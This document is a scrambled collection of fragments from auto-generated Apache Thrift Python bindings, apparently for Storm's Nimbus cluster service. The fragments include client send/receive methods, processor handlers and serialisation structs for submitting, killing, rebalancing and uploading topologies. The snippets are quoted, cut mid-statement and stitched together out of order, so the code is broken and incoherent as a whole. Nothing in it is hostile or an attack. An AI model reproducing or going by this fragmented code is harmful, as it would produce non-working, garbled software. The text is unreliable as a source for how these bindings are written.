self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result')", "oprot.writeStructBegin('getTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id)", "= success def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "= deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "class killTopology_args: \"\"\" Attributes: - name \"\"\" thrift_spec = (", "Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler self._processMap =", "TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is not None: oprot.writeFieldBegin('jsonConf',", "oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "(self == other) class submitTopology_result: \"\"\" Attributes: - e -", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name',", "\"\"\" self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid)", "oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class submitTopology_args: \"\"\"", "beginFileUpload_args: thrift_spec = ( ) def read(self, iprot): if iprot.__class__", "\"\"\" Parameters: - name \"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name):", "seqid, iprot, oprot): args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result =", "oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid, iprot, oprot): args = uploadChunk_args()", "self.success = success self.e = e def read(self, iprot): if", "== other) class getUserTopology_result: \"\"\" Attributes: - success - e", "if ftype == TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype)", "e: result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "return oprot.writeStructBegin('submitTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options',", "\"\"\" Parameters: - name \"\"\" pass def rebalance(self, name, options):", "is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans,", "args = beginFileDownload_args() args.file = file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "oprot.trans.flush() def process_deactivate(self, seqid, iprot, oprot): args = deactivate_args() args.read(iprot)", "= beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "= beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file)", "self.name = name def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "self._seqid) args = downloadChunk_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result() try: result.success", "oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "x result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "= getTopologyInfo_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self,", "process_finishFileUpload(self, seqid, iprot, oprot): args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result", "= getTopology_result() try: result.success = self._handler.getTopology(args.id) except NotAliveException as e:", "oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "def deactivate(self, name): \"\"\" Parameters: - name \"\"\" self.send_deactivate(name) self.recv_deactivate()", "oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot, oprot): args = getTopologyInfo_args()", "( (0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ), # 0", "name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ): (fname, mtype, rseqid)", "uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters: - name - uploadedJarLocation", "return oprot.writeStructBegin('activate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return", "def recv_beginFileDownload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot,", "None, ), # 1 (2, TType.STRING, 'chunk', None, None, ),", "recv_beginFileDownload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "- jsonConf - topology \"\"\" thrift_spec = ( None, #", "def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" pass def", "self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "- name \"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL,", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = uploadChunk_result() result.read(self._iprot)", "None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo", "iprot, oprot): args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result()", "args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException as e: result.e = e", "e: result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "), # 4 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,):", "self._seqid) args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ):", "file=None,): self.file = file def read(self, iprot): if iprot.__class__ ==", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name is not None:", "if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology", "self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args =", "def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args = finishFileUpload_args() args.location", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = activate_result() result.read(self._iprot) self._iprot.readMessageEnd()", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid)", "self._oprot.trans.flush() def recv_submitTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "self.location = location self.chunk = chunk def read(self, iprot): if", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success is not", "def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport)", "def __ne__(self, other): return not (self == other) class getTopologyConf_args:", "args = submitTopology_args() args.read(iprot) iprot.readMessageEnd() result = submitTopology_result() try: self._handler.submitTopology(args.name,", "mtype, rseqid) = self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x =", ") def __init__(self, name=None,): self.name = name def read(self, iprot):", "= ( None, # 0 (1, TType.STRING, 'file', None, None,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location is not None: oprot.writeFieldBegin('location',", "id \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if", "(2, TType.STRING, 'chunk', None, None, ), # 2 ) def", "\"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None,", "# 0 (1, TType.STRING, 'file', None, None, ), # 1", "oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options is not None:", "other): return not (self == other) class deactivate_result: \"\"\" Attributes:", "oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "), # 1 (2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None, ),", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name is not None: oprot.writeFieldBegin('name',", "\"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name,", "__init__(self, name=None,): self.name = name def read(self, iprot): if iprot.__class__", ") def __init__(self, e=None,): self.e = e def read(self, iprot):", "other) class activate_args: \"\"\" Attributes: - name \"\"\" thrift_spec =", "self._handler.killTopology(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY,", "None: raise result.e if result.ite is not None: raise result.ite", "x result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot, oprot): args =", "options \"\"\" pass def activate(self, name): \"\"\" Parameters: - name", "None: raise result.e return def deactivate(self, name): \"\"\" Parameters: -", "fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid", "= Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self, iprot, oprot): (name,", "fid == 0: if ftype == TType.STRUCT: self.success = ClusterSummary()", "args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.options", "), # 4 (5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ),", "- name - options \"\"\" pass def beginFileUpload(self, ): pass", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name", "result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "(self == other) class submitTopologyWithOpts_result: \"\"\" Attributes: - e -", "self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"]", "Parameters: - name - uploadedJarLocation - jsonConf - topology -", "FUNCTIONS AND STRUCTURES class submitTopology_args: \"\"\" Attributes: - name -", "self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid)", "topology \"\"\" pass def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options):", "TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\"); def downloadChunk(self, id): \"\"\" Parameters:", "as e: result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "rebalance_args() args.read(iprot) iprot.readMessageEnd() result = rebalance_result() try: self._handler.rebalance(args.name, args.options) except", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success is not None: oprot.writeFieldBegin('success',", "TMessageType.CALL, self._seqid) args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self,", "fastbinary except: fastbinary = None class Iface: def submitTopology(self, name,", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot, oprot): args =", "oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r'", "2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "def recv_activate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "def process_getTopology(self, seqid, iprot, oprot): args = getTopology_args() args.read(iprot) iprot.readMessageEnd()", "None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\"); def", "StormTopology.thrift_spec), None, ), # 4 ) def __init__(self, name=None, uploadedJarLocation=None,", "oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "== TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) elif fid ==", "other): return not (self == other) class finishFileUpload_result: thrift_spec =", "finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def", "send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args = getTopology_args() args.id =", "oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid, iprot, oprot): args = killTopology_args()", "None, None, ), # 1 ) def __init__(self, id=None,): self.id", "raise result.e return def killTopologyWithOpts(self, name, options): \"\"\" Parameters: -", "iprot.readMessageEnd() result = beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid)", "self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name", "from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol, TProtocol try:", "location \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "== other) class rebalance_result: \"\"\" Attributes: - e - ite", "break if fid == 0: if ftype == TType.STRING: self.success", "\"\"\" Parameters: - location - chunk \"\"\" pass def finishFileUpload(self,", "name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args = rebalance_args() args.name =", "iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__", "not (self == other) class activate_args: \"\"\" Attributes: - name", "iprot, oprot): args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args')", "self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args = killTopology_args() args.name = name args.write(self._oprot)", "class submitTopology_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec", "getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL,", "oprot): args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result() try:", "== TType.STOP: break if fid == 0: if ftype ==", "== other) class finishFileUpload_result: thrift_spec = ( ) def read(self,", "options): \"\"\" Parameters: - name - options \"\"\" self.send_killTopologyWithOpts(name, options)", "if fid == 1: if ftype == TType.STRING: self.id =", "oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4)", "deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException as e: result.e = e", "'jsonConf', None, None, ), # 3 (4, TType.STRUCT, 'topology', (StormTopology,", "self.send_activate(name) self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args =", "submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf,", "oprot is not None: self._oprot = oprot self._seqid = 0", "\"\"\" pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot =", "e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY,", "uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot, oprot): args = getClusterInfo_args()", "is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary", "other): return not (self == other) class getClusterInfo_args: thrift_spec =", "as e: result.e = e except InvalidTopologyException as ite: result.ite", "is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "- name - options \"\"\" pass def activate(self, name): \"\"\"", "class getNimbusConf_result: \"\"\" Attributes: - success \"\"\" thrift_spec = (", "self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "\"\"\" Attributes: - e - ite \"\"\" thrift_spec = (", "'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 ) def __init__(self,", "if fid == 1: if ftype == TType.STRING: self.name =", "= ( (0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ), #", "return not (self == other) class submitTopologyWithOpts_args: \"\"\" Attributes: -", "finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid)", "= Processor.process_getUserTopology def process(self, iprot, oprot): (name, type, seqid) =", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop()", ") def __init__(self, location=None,): self.location = location def read(self, iprot):", "not (self == other) class uploadChunk_args: \"\"\" Attributes: - location", "unknown result\"); def getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self,", "is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options", "== other) class uploadChunk_result: thrift_spec = ( ) def read(self,", "uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args = submitTopology_args() args.name", "self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2: if ftype ==", "\"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args", "iprot, oprot): args = submitTopology_args() args.read(iprot) iprot.readMessageEnd() result = submitTopology_result()", "- options \"\"\" self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self, name, options):", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id is", "self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid,", "not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))", "TType.STRING: self.id = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "def __ne__(self, other): return not (self == other) class getClusterInfo_args:", "1 ) def __init__(self, success=None, e=None,): self.success = success self.e", "result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed:", "process_submitTopology(self, seqid, iprot, oprot): args = submitTopology_args() args.read(iprot) iprot.readMessageEnd() result", "== other) class getNimbusConf_args: thrift_spec = ( ) def read(self,", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname, mtype, rseqid) =", "not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "other): return not (self == other) class killTopologyWithOpts_result: \"\"\" Attributes:", "== 0: if ftype == TType.STRING: self.success = iprot.readString(); else:", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if", "getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" pass def getTopology(self,", "= killTopologyWithOpts_args() args.name = name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd()", "if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk", "= getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result() try: result.success =", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\"); def getTopology(self, id): \"\"\"", "if ftype == TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) elif", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if", "name): \"\"\" Parameters: - name \"\"\" pass def rebalance(self, name,", "getClusterInfo_args: thrift_spec = ( ) def read(self, iprot): if iprot.__class__", "pass def uploadChunk(self, location, chunk): \"\"\" Parameters: - location -", "__ne__(self, other): return not (self == other) class beginFileDownload_result: \"\"\"", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid)", "def __init__(self, file=None,): self.file = file def read(self, iprot): if", "recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "args = rebalance_args() args.name = name args.options = options args.write(self._oprot)", "STRUCTURES class submitTopology_args: \"\"\" Attributes: - name - uploadedJarLocation -", "args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname,", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location is not None:", "getUserTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ):", "oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot, oprot): args = beginFileUpload_args() args.read(iprot)", "other): return not (self == other) class getNimbusConf_args: thrift_spec =", "self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args = beginFileDownload_args() args.file = file args.write(self._oprot)", "iprot.readMessageEnd() result = downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid)", "TType.STRING, 'location', None, None, ), # 1 (2, TType.STRING, 'chunk',", "raise x result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "failed: unknown result\"); def getUserTopology(self, id): \"\"\" Parameters: - id", "is not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if", "class getUserTopology_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec", "other): return not (self == other) class activate_args: \"\"\" Attributes:", "= NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2: if", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd()", "uploadedJarLocation - jsonConf - topology \"\"\" pass def submitTopologyWithOpts(self, name,", "oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid,", "self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "None, ), # 1 ) def __init__(self, id=None,): self.id =", "(0.9.0) # # DO NOT EDIT UNLESS YOU ARE SURE", "if ftype == TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype)", "__ne__(self, other): return not (self == other) class beginFileDownload_args: \"\"\"", "(self == other) class finishFileUpload_result: thrift_spec = ( ) def", "id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args = getTopologyInfo_args() args.id = id", "TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not", "): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "# 5 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,):", "if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result')", "seqid, iprot, oprot): args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result =", "args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id) except", "e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid,", "= iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if ftype", "None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is not", "TMessageType, TException, TApplicationException from ttypes import * from thrift.Thrift import", "): self.send_getNimbusConf() return self.recv_getNimbusConf() def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid)", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success is not None: oprot.writeFieldBegin('success',", "= finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self, file): \"\"\" Parameters:", "def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args = killTopology_args() args.name", "TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\"); def uploadChunk(self, location, chunk): \"\"\"", "name \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname, mtype, rseqid) =", "\"\"\" Parameters: - id \"\"\" pass def getTopology(self, id): \"\"\"", "if fid == 1: if ftype == TType.STRING: self.location =", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success is", "(NotAliveException, NotAliveException.thrift_spec), None, ), # 1 ) def __init__(self, e=None,):", "return not (self == other) class uploadChunk_result: thrift_spec = (", "getUserTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec = ( None,", "oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "other): return not (self == other) class finishFileUpload_args: \"\"\" Attributes:", "self._seqid) args = submitTopology_args() args.name = name args.uploadedJarLocation = uploadedJarLocation", "e=None, ite=None,): self.e = e self.ite = ite def read(self,", "def __ne__(self, other): return not (self == other) class rebalance_result:", "__ne__(self, other): return not (self == other) class deactivate_result: \"\"\"", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success is not None:", "self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "thrift_spec = ( (0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None, ),", "x result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self, location):", "def getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf() def 